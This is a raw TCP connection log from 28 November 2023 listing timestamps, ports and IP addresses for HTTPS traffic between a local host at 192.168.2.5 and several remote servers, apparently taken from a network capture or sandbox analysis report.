Nov 28, 2023 16:55:28.011990070 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.011991024 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.012002945 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.012063980 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.012706995 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.012748003 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.012768030 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.012778044 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.012851954 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.012860060 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.013897896 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.013940096 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.013957024 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.013967037 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014007092 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014013052 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.014020920 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014070034 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.014444113 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014548063 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014585018 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014594078 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.014601946 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.014643908 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.015331030 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015400887 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015427113 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015448093 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.015458107 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015503883 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.015512943 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015523911 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.015569925 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.015671968 CET	49722	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:28.015677929 CET	443	49722	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:28.030687094 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.065125942 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.105262041 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.170595884 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.170697927 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.170761108 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.170964956 CET	49726	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.171008110 CET	443	49726	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.194035053 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194195032 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.194255114 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194410086 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194417000 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.194582939 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.194782972 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194797039 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.194895029 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194906950 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.194951057 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.194968939 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.224442005 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.224472046 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.224538088 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.231345892 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.231364965 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.243978977 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.244050980 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.244051933 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.298424006 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.298623085 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.298674107 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.298856020 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.298916101 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.298969030 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.298990011 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.299063921 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.299114943 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.302117109 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.302304029 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.303344965 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.306229115 CET	49724	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.306250095 CET	443	49724	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.310986996 CET	49725	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.311007023 CET	443	49725	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.320288897 CET	49723	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.320306063 CET	443	49723	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.332112074 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.332192898 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.332294941 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.334676981 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.334717035 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.533653975 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.533796072 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.550998926 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.574759960 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.574769974 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.575227022 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.576349020 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.576419115 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.576951981 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.583705902 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.583736897 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.583817005 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.584379911 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:28.584394932 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.585669041 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.585724115 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.586137056 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.588514090 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.621256113 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.629292965 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.723692894 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.723839998 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.723944902 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.808578014 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.808595896 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.808617115 CET	49728	443	192.168.2.5	23.221.242.90
Nov 28, 2023 16:55:28.808623075 CET	443	49728	23.221.242.90	192.168.2.5
Nov 28, 2023 16:55:28.893151999 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:28.894217968 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.894331932 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:28.894428968 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:28.936676025 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.093626976 CET	49727	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:29.093657017 CET	443	49727	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:29.094439983 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.094469070 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.095679045 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.095773935 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.113162041 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.113389015 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.113615036 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.113621950 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.160028934 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.217477083 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.217504025 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.217588902 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.217590094 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.217650890 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.351578951 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:29.351778984 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:29.544810057 CET	49729	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:29.544853926 CET	443	49729	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:29.758096933 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:29.758191109 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:29.758286953 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:29.758619070 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:29.758677959 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.087148905 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.102725029 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.102783918 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.106370926 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.106462955 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.106868029 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.107042074 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.107300043 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.107312918 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.155781984 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.314336061 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.314373970 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.314456940 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.315123081 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.315150976 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.315217018 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.316096067 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.316108942 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.316386938 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.316397905 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.433155060 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.433229923 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.433279037 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.453478098 CET	49730	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.453496933 CET	443	49730	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.599342108 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.599414110 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.599523067 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.599824905 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:30.599859953 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.633011103 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.634114027 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.634136915 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.634239912 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.634478092 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.634491920 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.634509087 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.634968042 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.637366056 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.637434959 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.637789011 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.637867928 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.637985945 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.638039112 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.681257010 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.681272030 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.742254019 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.742376089 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.742482901 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.746721983 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.746833086 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.746897936 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.809581041 CET	49732	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.809624910 CET	443	49732	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.810108900 CET	49731	443	192.168.2.5	13.107.246.40
Nov 28, 2023 16:55:30.810137987 CET	443	49731	13.107.246.40	192.168.2.5
Nov 28, 2023 16:55:30.924190998 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:30.968467951 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.082242012 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.082269907 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.082921028 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.085458994 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.085534096 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.085539103 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.129306078 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.140206099 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.275098085 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.275181055 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:31.275288105 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.276022911 CET	49733	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:31.276048899 CET	443	49733	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:36.830204010 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:36.830348969 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:36.830398083 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:37.554291010 CET	49719	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:55:37.554311037 CET	443	49719	142.251.167.105	192.168.2.5
Nov 28, 2023 16:55:39.062527895 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.062613964 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:39.062907934 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.064668894 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.064714909 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:39.626672983 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:39.626827002 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:39.627703905 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:39.627741098 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:39.627906084 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:39.628240108 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:39.628248930 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:39.636282921 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:39.636555910 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.642906904 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.642936945 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:39.643356085 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:39.687156916 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:39.791507959 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:39.791527033 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:39.939268112 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:39.939347982 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.135170937 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.135185003 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.135483980 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.135530949 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.136147976 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.136162996 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.136923075 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.136929989 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.511065960 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.511135101 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:40.511162996 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.511178970 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:40.596479893 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:40.641251087 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.964942932 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965042114 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965049982 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965059996 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965086937 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965146065 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:40.965219021 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965276003 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:40.965284109 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:40.965312004 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:40.965331078 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:41.010610104 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:41.010611057 CET	49739	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:55:41.010674953 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:41.010710955 CET	443	49739	40.68.123.157	192.168.2.5
Nov 28, 2023 16:55:41.692372084 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:41.692399979 CET	443	49742	23.1.237.91	192.168.2.5
Nov 28, 2023 16:55:41.692455053 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:41.692455053 CET	49742	443	192.168.2.5	23.1.237.91
Nov 28, 2023 16:55:43.698628902 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:43.698730946 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:43.698797941 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:44.470268011 CET	49710	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:44.470288038 CET	443	49710	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:56.238818884 CET	80	49731	72.21.81.240	192.168.2.5
Nov 28, 2023 16:55:56.239011049 CET	49731	80	192.168.2.5	72.21.81.240
Nov 28, 2023 16:56:17.774236917 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:17.774296999 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:17.774384022 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:17.774993896 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:17.775028944 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.340121984 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.340215921 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.344530106 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.344536066 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.344938993 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.357980967 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.401262045 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.879854918 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.879980087 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880023956 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880057096 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.880076885 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880114079 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.880152941 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.880204916 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880254984 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880274057 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.880280972 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880321980 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.880331039 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880399942 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.880474091 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.884358883 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.884375095 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:18.884394884 CET	49747	443	192.168.2.5	40.68.123.157
Nov 28, 2023 16:56:18.884413004 CET	443	49747	40.68.123.157	192.168.2.5
Nov 28, 2023 16:56:26.554675102 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:26.554734945 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.554805994 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:26.555443048 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:26.555459023 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.753833055 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.754355907 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:26.754384995 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.754709005 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.755321026 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:26.755383968 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:26.796407938 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:36.760958910 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:36.761013031 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:36.761176109 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:38.470117092 CET	49749	443	192.168.2.5	142.251.167.105
Nov 28, 2023 16:56:38.470145941 CET	443	49749	142.251.167.105	192.168.2.5
Nov 28, 2023 16:56:51.542313099 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.542365074 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.542445898 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.543343067 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.543355942 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.740614891 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.741197109 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.741218090 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.741553068 CET	443	49752	172.253.115.100	192.168.2.5
Nov 28, 2023 16:56:51.741640091 CET	49752	443	192.168.2.5	172.253.115.100
Nov 28, 2023 16:56:51.742145061 CET	443	49752	172.253.115.100	192.168.2.5
